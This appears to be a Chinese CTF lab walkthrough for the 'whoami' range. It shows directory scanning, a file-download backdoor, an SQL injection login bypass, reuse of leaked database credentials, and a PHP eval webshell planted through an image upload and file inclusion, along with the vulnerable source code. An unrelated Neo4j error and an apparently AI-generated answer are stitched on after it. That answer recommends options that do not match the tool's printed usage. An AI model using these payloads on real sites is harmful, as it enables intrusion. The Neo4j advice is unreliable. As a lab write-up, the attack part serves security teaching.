记录一次靶场 --==[whoami]==--

记录一次打靶场

第一个flag

开启环境,我们看到这样的界面:
靶场背景
我们首先通过Network抓包,看一下背景图片内部有无信息。
经过010Editor和exiftool分析,发现内部并没有很明显的隐藏信息。

我们考虑使用dirb对网站目录进行扫描
dirb扫描结果
发现在根目录下面,有/images和/www这两个值得关注的虚拟路径。
于是访问/images,此时显示forbidden:
images访问禁止
除此之外,还有robots.txt文件,我们尝试访问该文件:
flag1
发现一个flag1,明显不是正确的flag。

第二个flag

我们继续追踪/www/路径,使用dirsearch进行扫描:
dirsearch扫描结果

我们先追踪第一个路径,名字为add.php
add.php

从这个页面没有发现什么东西,只有一个上传的入口,一张POST表单。没有其他的路径信息,不知道上传成功与否,路径更是无处得知。
使用简单的xss和注入探测均失效,决定更换入口。
接着查看head.php,这张界面更是啥都没有,只一张图片。继续更换入口。
访问/www/images路径,再次没有权限:
www/imagesforbidden
我们直接进入index.php:在这里插入图片描述

发现是一个登录页面,查看源码:
在这里插入图片描述
仍然是POST表单,手动SQL注入探测无果。我将其暂时搁置一边,希望能从哪里得到相关的注入信息。

我们接着查看test.php,该页面有一句提示:
file
说是file参数需要传参,我们尝试GET和POST方式传入:file=test.php
使用POST方式传入该键值对时,发现有文件下载。看到文件为传入的value:
在这里插入图片描述
那么我们知到这是一个可以进行文件下载的后门,接下来就是把所有已知路径都下载下来,查看源码。
我们首先查看了index.php

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;"><br><br><br>
<font size=8 face="comic sans ms">[----====[[ Who am I ]]====----]</font> 
<br><br>
Show me your skills <br>
<form method=post>
<br><br>
Username : <Input type=text name=un>  &nbsp Password : <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "<script>alert('Try again');</script>";
}
	
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 1px 1px 5px;\">Powered By CMS <font color=#ff9933>Pirates</font> ";

?>



此处看到想要执行到mysqli_query(),需要绕过过滤,注入run语句。
这里给出构造方式:password=\ ,username= or 1=1 –

构造原理是利用了在Mysql中,字符串内的:’ 会被转义为字符 ‘,我们将pass后面直到 and uname=的部分当作一段字符串,在最后接上 or 1=1 –

登录成功

SQL注入登录成功
我们看到该页面包含了c.php和head.php两个页面,此时看到c.php:

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","whoami","whoami_hacker","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

有登录mysql的用户名: whoami,密码: whoami_hacker
我们前往/www/phpmy/页面,使用这组用户名密码尝试登录:
(居然真登进去了
在这里插入图片描述

在ica_lab 中看到flag库:在这里插入图片描述
这就是第二个flag。
也是错的

第三个flag

我们尝试直接在库中执行:

select "<?php @eval($_POST['hack']);?>" INTO OUTFILE '/var/www/html/www/shell.php';

直接权限不够…
在这里插入图片描述
那肯定至少是没有mysql_file权限,直接放弃继续操作该数据库。

在index.php登录后,我们来到panel.php界面

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}

echo "Welcome to whoami ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}


}
这时候需要满足:
1. 没有POST[‘lg’]
2. 设置POST[‘continue’]非空
3. 设置POST[‘load’]=文件包含路径
即可实现文件包含

我们考虑图片包含小马来getshell
看到可以通过Add Users向/www/uploaded_images/里面添加图片,我们制作图片马,名为good.jpg,直接上传到目录下。
上传的为php母马,小马原本定向到/www/下,但是试了几次没有成功,考虑是权限的问题,故将生育路径该为/www/uploaded_images/shell.php
在这里插入图片描述
使用hackbar构造payload:

continue=1&load=uploaded_images/good.jpg

在这里插入图片描述

此时访问 /www/uploaded_images/muma.php
在这里插入图片描述

看到小马已存在
钥匙为hack,直接菜刀连接:
在这里插入图片描述

得到最终flag。
提交正确。

C:\Users\mqw>neo4j-admin database load --from-path=D:\QQ\QQFile\2024057688-参赛总文件夹\2024057688-参赛总文件夹\2024057688-02素材与源码\源码和素材\neo4j知识图谱\ kclass --overwrite-destination=trueneo4j-admin database load --from-path=D:\QQ\QQFile\2024057688-参赛总文件夹\2024057688-参赛总文件夹\2024057688-02素材与源码\源码和素材\neo4j知识图谱\ kclass --overwrite-destination=true Invalid value for option '--overwrite-destination': 'trueneo4j-admin' is not a boolean Load a database from an archive created with the dump command or from full Neo4j Enterprise backup. USAGE neo4j-admin database load [-h] [--expand-commands] [--info] [--verbose] [--overwrite-destination[=true|false]] [--additional-config=<file>] [--from-path=<path> | --from-stdin] <database> DESCRIPTION Load a database from an archive. <archive-path> must be a directory containing an archive(s). Archive can be a database dump created with the dump command, or can be a full backup artifact created by the backup command from Neo4j Enterprise. If neither --from-path or --from-stdin is supplied `server.directories.dumps.root` setting will be searched for the archive. Existing databases can be replaced by specifying --overwrite-destination. It is not possible to replace a database that is mounted in a running Neo4j server. If --info is specified, then the database is not loaded, but information (i.e. file count, byte count, and format of load file) about the archive is printed instead. PARAMETERS <database> Name of the database to load. Can contain * and ? for globbing. Note that * and ? have special meaning in some shells and might need to be escaped or used with quotes. OPTIONS --additional-config=<file> Configuration file with additional configuration. --expand-commands Allow command expansion in config value evaluation. --from-path=<path> Path to directory containing archive(s). It is possible to load 怎么
04-01
### 解决 Neo4j Admin 数据加载时 `--overwrite-destination` 参数值无效的错误 当使用 `neo4j-admin database load` 命令时,如果遇到 `invalid value for option overwrite-destination` 错误,通常是因为参数配置不当或者目标目录的状态不符合预期。以下是对此问题的分析以及解决方案。 #### 1. **理解 `--overwrite-destination` 参数** `--overwrite-destination` 是一个布尔类型的选项,用于指定是否覆盖目标位置的数据文件。其有效值为 `true` 或 `false`。如果提供了一个非法值(例如拼写错误或其他字符串),则会触发此错误[^1]。 #### 2. **验证命令语法** 确保使用的命令完全符合官方文档的要求。正确的命令结构如下: ```bash neo4j-admin database load <database-name> --from=<source-path> --to=<target-path> --overwrite-destination=true|false ``` 其中: - `<database-name>` 是要加载的数据库名称。 - `--from=<source-path>` 指定源数据的位置。 - `--to=<target-path>` 指定目标存储路径。 - `--overwrite-destination=true|false` 明确指定了是否允许覆盖目标路径的内容。 #### 3. **检查目标路径状态** 即使提供了合法的 `--overwrite-destination` 值,如果目标路径已经存在且未被正确处理,则仍可能导致失败。因此,在执行命令之前,请确认以下几点: - 如果设置了 `--overwrite-destination=false`,那么目标路径不应已存在任何数据。 - 如果设置了 `--overwrite-destination=true`,Neo4j 将尝试删除并重新创建目标路径下的内容。此时需确保有足够的权限操作该路径。 #### 4. **常见原因及修复方法** ##### (a) 非法值传递给 `--overwrite-destination` 仔细检查输入命令中是否有拼写错误或意外字符混入。例如,下面是一个典型的错误示例及其修正方式: 错误示例: ```bash neo4j-admin database load mydb --from=/data/source --to=/data/target --overwrite-destination=TRUE ``` 修正后的版本: ```bash neo4j-admin database load mydb --from=/data/source --to=/data/target --overwrite-destination=true ``` 注意大小写的敏感性;尽管某些环境可能接受大写字母形式,但推荐始终采用小写以保持一致性。 ##### (b) 权限不足 运行上述命令前,请先核实当前用户对 `--to=` 所指向的目标目录拥有读/写访问权。可以通过 Linux 的 chmod 和 chown 命令调整相应权限。例如: ```bash sudo chown -R $(whoami):$(whoami) /data/target chmod -R u+w /data/target ``` ##### (c) 文件系统锁定 有时操作系统级别的锁机制可能会阻止 Neo4j 修改特定区域内的资源。这种情况下可以考虑重启服务甚至整个机器来释放潜在冲突。 #### 5. **代码实现样例** 假设我们有一个脚本用来自动化这一过程,它看起来像这样: ```bash #!/bin/bash SOURCE_PATH="/path/to/source" TARGET_PATH="/path/to/target" DATABASE_NAME="my_database" if [ ! -d "$SOURCE_PATH" ]; then echo "Source path does not exist." exit 1 fi # Ensure target directory is writable. mkdir -p $TARGET_PATH && chmod u+rwx $TARGET_PATH || { echo "Failed to prepare target path."; exit 1; } echo "Loading database..." neo4j-admin database load $DATABASE_NAME \ --from=$SOURCE_PATH \ --to=$TARGET_PATH \ --overwrite-destination=true ``` 以上脚本首先检验了必要的条件再调用了实际的导入功能,并显式设定了覆盖标志位为 true。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值